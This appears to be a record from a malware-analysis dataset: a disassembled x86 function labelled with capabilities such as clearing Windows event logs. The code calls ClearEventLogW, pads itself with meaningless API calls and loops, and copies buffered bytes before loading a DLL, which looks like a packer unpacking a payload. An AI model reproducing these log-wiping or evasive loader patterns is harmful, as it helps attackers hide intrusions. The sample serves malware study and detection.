Function at 0x417620
Capabilities:
Access the windows event log
Clear windows event logs
Get file attributes
Move file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1570
call fcn.00407320
mov eax, dword [0x41b008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_ClearEventLogW]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor esi, esi
jmp 0x417650
cmp dword [0x2b1af6c], 0x7d
jne 0x41765f
push 0
push 0
call ebx
cmp esi, 0x4e5
jne 0x417676
mov eax, dword [0x41c4f8]
add eax, 0x9e49
mov dword [0x2b1af6c], eax
cmp dword [0x2b1af6c], 0xbcf
jne 0x417698
call edi
mov dword [0x41cfe0], 0xec58ac98
mov dword [0x41cfe4], 0xffffffff
inc esi
cmp esi, 0x114aff4
jl 0x417650
mov edi, dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointA]
xor esi, esi
lea esp, [esp]
cmp esi, 0x56051f
jne 0x4176c4
mov ecx, dword [0x41bee8]
mov dword [0x2b1b09c], ecx
cmp dword [0x2b1af6c], 0x3c
jne 0x4176d1
push 0
call edi
inc esi
cmp esi, 0x4cab834c
jl 0x4176b0
cmp dword [0x2b1af6c], 0x7c
jne 0x417820
push 0
lea edx, [ebp - 0x1564]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
xor esi, esi
push esi
lea eax, [ebp - 0x1560]
push eax
push esi
lea ecx, [ebp - 0xc04]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push esi
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleFontSize]
lea edx, [ebp - 0x1568]
push edx
lea eax, [ebp - 0x804]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SearchPathW]
push 0x2e
lea ecx, [ebp - 0x1434]
push esi
push ecx
mov dword [ebp - 0x1438], esi
call fcn.004050d0
add esp, 0xc
push esi
lea edx, [ebp - 0x1438]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileW]
lea eax, [ebp - 0x154c]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
lea ecx, [ebp - 0x155c]
push ecx
mov dword [ebp - 0x155c], esi
call dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
xor eax, eax
xor edx, edx
mov word [ebp - 0x1552], ax
xor ecx, ecx
mov word [ebp - 0x154e], dx
lea eax, [ebp - 0x1570]
push eax
mov word [ebp - 0x1550], cx
mov ecx, dword [ebp - 0x1550]
push ecx
mov word [ebp - 0x1554], dx
mov edx, dword [ebp - 0x1554]
push edx
lea eax, [ebp - 0x1558]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputW]
push esi
lea ecx, [ebp - 0x1404]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
lea edx, [ebp - 0x1004]
push edx
push esi
push str.nikibewuxakojafekuhidavopuro_luwemacajetonodi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringA]
cmp dword [0x2b1af6c], 0x11
jne 0x417801
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetBoundsRect]
cmp dword [0x2b1af6c], 0x2d
jne 0x417811
push esi
call dword [sym.imp.KERNEL32.dll_PulseEvent]
push esi
call fcn.00401168
push esi
call fcn.0040117e
add esp, 8
mov edi, dword [sym.imp.KERNEL32.dll_SetCommState]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
mov edi, edi
push 0
push 0
call edi
call ebx
cmp esi, 0x24b33
jg 0x417849
inc esi
cmp esi, 0xeae9f
jl 0x417830
cmp dword [0x2b1af6c], 0x2a
jne 0x4178bf
xor esi, esi
push esi
mov dword [0x2b1af60], esi
mov dword [0x2b1af64], esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
lea eax, [ebp - 0x1550]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetStringTypeExW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
push esi
push esi
call fcn.0040100f
push esi
call fcn.0040109e
push esi
call fcn.0040109e
push esi
push esi
call fcn.0040100f
push esi
call fcn.00407494
push esi
push esi
call fcn.0040100f
push esi
push esi
push esi
push esi
call fcn.004014f3
push esi
call fcn.004012b0
add esp, 0x38
push esi
call fcn.004017e3
call fcn.00417260
mov ecx, dword [0x2b1af6c]
xor eax, eax
test ecx, ecx
jbe 0x41790d
mov edi, dword [0x2b1b09c]
mov esi, dword [0x2b1adb4]
mov edx, 0x17bc
jmp 0x4178f0
mov bl, byte [edi + eax + 0x9e49]
mov byte [esi + eax], bl
cmp ecx, 0x8d
jne 0x417908
mov dword [0x2b1adb8], edx
inc eax
cmp eax, ecx
jb 0x4178f0
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call fcn.00417290
call fcn.00417580
mov edi, dword [sym.imp.KERNEL32.dll_GlobalSize]
mov ebx, dword [sym.imp.KERNEL32.dll_SetStdHandle]
xor esi, esi
cmp dword [0x2b1af6c], 0x41
jne 0x417943
push 0
call edi
push 0
push 0
call ebx
cmp esi, 0xd606b
jne 0x417950
call fcn.00417280
cmp dword [0x2b1af6c], 0xc
jne 0x417966
lea ecx, [ebp - 0x1558]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
inc esi
cmp esi, 0x24e87d
jl 0x417930
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov ebx, 0x1d5ed5
mov edi, 0x8e4e4fe0
nop
cmp dword [0x2b1af6c], 0x7c4
mov dword [0x2b1adbc], edi
jne 0x417999
push str.sehemedoxusicitavefesal
call esi
sub ebx, 1
jne 0x417980
mov ecx, dword [ebp - 0x1428]
pop edi
pop esi
xor eax, eax
pop ebx
lea esp, [esp]
cmp eax, 0x408e
jle 0x4179bf
cmp ecx, 0xf5bed7
jne 0x4179c7
inc eax
cmp eax, 0x687ed2
jl 0x4179b0
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401000
mov esp, ebp
pop ebp
ret